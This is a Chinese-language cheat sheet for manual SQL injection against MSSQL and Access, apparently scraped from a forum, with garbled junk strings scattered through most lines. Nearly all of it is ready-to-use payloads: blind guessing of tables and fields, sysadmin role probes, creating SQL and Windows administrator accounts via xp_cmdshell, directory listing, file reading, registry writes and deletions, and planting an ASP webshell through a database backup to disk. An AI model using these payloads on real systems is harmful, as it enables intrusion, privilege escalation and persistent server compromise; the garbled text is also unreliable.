手工脚本注入 - M, ?1 D0 c- r L' s
1.判断是否有注入;and 1=1 ;and 1=2 1 X0 b' x. q* z/ l! j: u
- x: t4 \% o; J$ d* K, c2.初步判断是否是mssql ;and user>0
$ r2 |: O& y$ G! }, \
; W$ b3 E6 h: a3.注入参数是字符'and [查询条件] and ''='
% p* h6 i; E5 B" L1 R% m
% p5 ~4 M4 J( @, j& ~, G( O/ t) Z, R# t4.搜索时没过滤参数的'and [查询条件] and '%25'='
" t! O5 F a1 l
3 g! B2 W, e) G9 G& _4 U6 x5.判断数据库系统
! M7 m" a( k/ |* F;and (select count(*) from sysobjects)>0 mssql
- g9 I* Q# E- N3 u# l: Q;and (select count(*) from msysobjects)>0 access
* |+ p$ [4 y6 I0 Q) F4 |
* }, r5 b3 n; [+ S9 j. n6.猜数据库 ;and (select Count(*) from [数据库名])>0
& N7 ?9 o" K. _5 [, \! j2 _+ ~* v4 e5 p
8 H2 ~3 R+ W+ J& F B7.猜字段 ;and (select Count(字段名) from 数据库名)>0 " X8 Y# M: O! c1 i- |9 f
" ` V: ^* ~) I0 C1 s, j
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ; B' D9 f# e' O8 P; x$ C
5 s _2 i# G& |, O+ @9.(1)猜字段的ascii值(access) 2 k* F; o6 p% ^+ l: ~! g
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
. }3 R, b& d( M6 G) k% ~
' V) k, N y }% p; n* x1 d(2)猜字段的ascii值(mssql)
: A: {# ?( m, n K;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
( |: w) t' A) q0 R, x0 S7 _2 b# }* ]
10.测试权限结构(mssql) 5 M) V1 ?1 ?# Q2 ]( N6 F7 C6 L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- }! h1 b! O# i. l+ a- Q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6 `( r7 E% U& r; Y3 Q" w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
1 B4 \! n u# ^$ ^;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 _. F: S" [/ e- z; w( `;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- f( `, k1 V* U$ X. |3 j;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
# V, D9 [ f' H- g;and 1=(select IS_MEMBER('db_owner'));-- ! ~+ w1 v( b1 Q7 U
9 L- |1 ]! I1 {* E6 n4 f
11.添加mssql和系统的帐户
- ~, G) P8 @ L9 M;exec master.dbo.sp_addlogin username;--
" }# p5 s' U9 \; M
1 n% I. L$ v$ h. r, \) i;exec master.dbo.sp_password null,username,password;--
& ~5 o0 A K9 Q* ^ m/ }# A9 d. Z' B
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ) ?7 y4 ?; Y: [' K$ Z1 p
7 x1 D* m( }* n; @* f2 `
;exec master.dbo.xp_cmdshell 'net user username password
5 h% ?' T, y+ H ?/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 W/ A3 V. C7 r! _
0 Q" }& d+ s/ C9 a0 ?( j1 e0 f;exec master.dbo.xp_cmdshell 'net user username password /add';-- $ ?* h: U: `7 z0 R- q
1 D: ?1 l1 f& U" L
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
q: E, j8 p5 g. e, X, l; B% S
4 U5 B0 L* G" X- b$ p; v6 s12.(1)遍历目录
: P$ ]$ \$ r3 ]: P! j
6 \ O c) a* O+ M/ _" X;create table dirs(paths varchar(100), id int)
" v. C9 v/ F0 K; v;insert dirs exec master.dbo.xp_dirtree 'c:\' ! c5 O% A+ i0 G, M3 O& v1 s. d
;and (select top 1 paths from dirs)>0 - ]. A: R( o% S3 D
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $ I3 Z$ G5 n1 c U9 ^2 ^
( N, n4 u6 H9 a
(2)遍历目录
3 z' b/ {1 {* Z' i2 W;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & \6 C# G! X+ X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
( T9 O" J5 n0 P8 J& o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
* { E+ k3 H: r0 w+ u: f: h;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
8 s; }5 ~9 R3 V, f;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 A0 N/ w4 G R: Y: O
" x! x0 _+ @5 ~! T" }4 p13.mssql中的存储过程
" M8 m' E: E2 e! j3 e
7 T; k. U, d! a- F2 h# [7 _xp_regenumvalues 注册表根键, 子键
) I1 f/ y: |6 Q5 p) I6 x;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
) \1 M: O; ]% ^ X5 w y- o R. l, E. ^& e1 N8 K* H. Y& z
xp_regread 根键,子键,键值名
$ z0 ~, ]) y, o3 ?. f3 ]! b;exec xp_regread 5 A+ C5 ~9 c, u$ x8 @. V
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
8 O# P& G8 \; O: g3 m0 d+ I; e# c* z- T
xp_regwrite 根键,子键, 值名, 值类型, 值 7 q" P8 R! T& L, g
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
- u9 Z' g k8 w0 ~* C! o' g5 x;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
$ ^! d( l( f) Q' p2 a: g# l( Y0 V8 |8 n( M+ n5 D- Y% J! D# q( e' ]
xp_regdeletevalue 根键,子键,值名
9 j: c5 G$ V/ X" p E9 \/ r+ _0 V+ M* E9 x" w
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0 o( J' p+ u* v8 _6 c4 g
" w/ g: p/ X, p J. f- Uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - @, k' N1 w) h+ x1 \
& w: g/ i' U7 v2 N
14.mssql的backup创建webshell 6 n. v$ U* S) W# a/ ~1 d8 g
use model
' t4 Y, ^& Y2 p' icreate table cmd(str image);
; j6 |" @6 q: m! b& A# jinsert into cmd(str) values ('');
: y) A; W- L3 p! C% Fbackup database model to disk='c:\l.asp';
. J! G( I/ q7 P2 b. v h" |
7 s! d" z6 |- c" `& w15.mssql内置函数
5 Y. l+ n. N) t5 W' |3 Z) q* Z;and (select @@version)>0 获得Windows的版本号 $ ^) v, Y" b W1 G
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' f: U/ H G/ K) [. k$ H/ @;and (select user_name())>0 爆当前系统的连接用户 0 b5 F; @6 {+ A" V! h3 }
;and (select db_name())>0 得到当前连接的数据库 3 G4 N" g7 ]2 b+ d- `" m
4 u, t( l+ H9 G- L2 ~1 C! C16.简洁的webshell
5 u" J! x/ `+ l2 M
: g0 K6 o$ C) c4 [' ~$ L2 O( Quse model , Z! A6 y2 }$ _! G
% E# P7 e" k. ~2 ?
create table cmd(str image);
% f7 @5 w1 G8 _; j
+ B* O% o8 p! b$ K, ?insert into cmd(str) values (''); 2 d5 _( ]3 W1 I$ G0 g
) x" V% _3 n* F7 F3 Z
backup database model to disk='g:\wwwtest\l.asp'; # E: ~. e( x7 q7 W
: M9 j. D* g& s! R |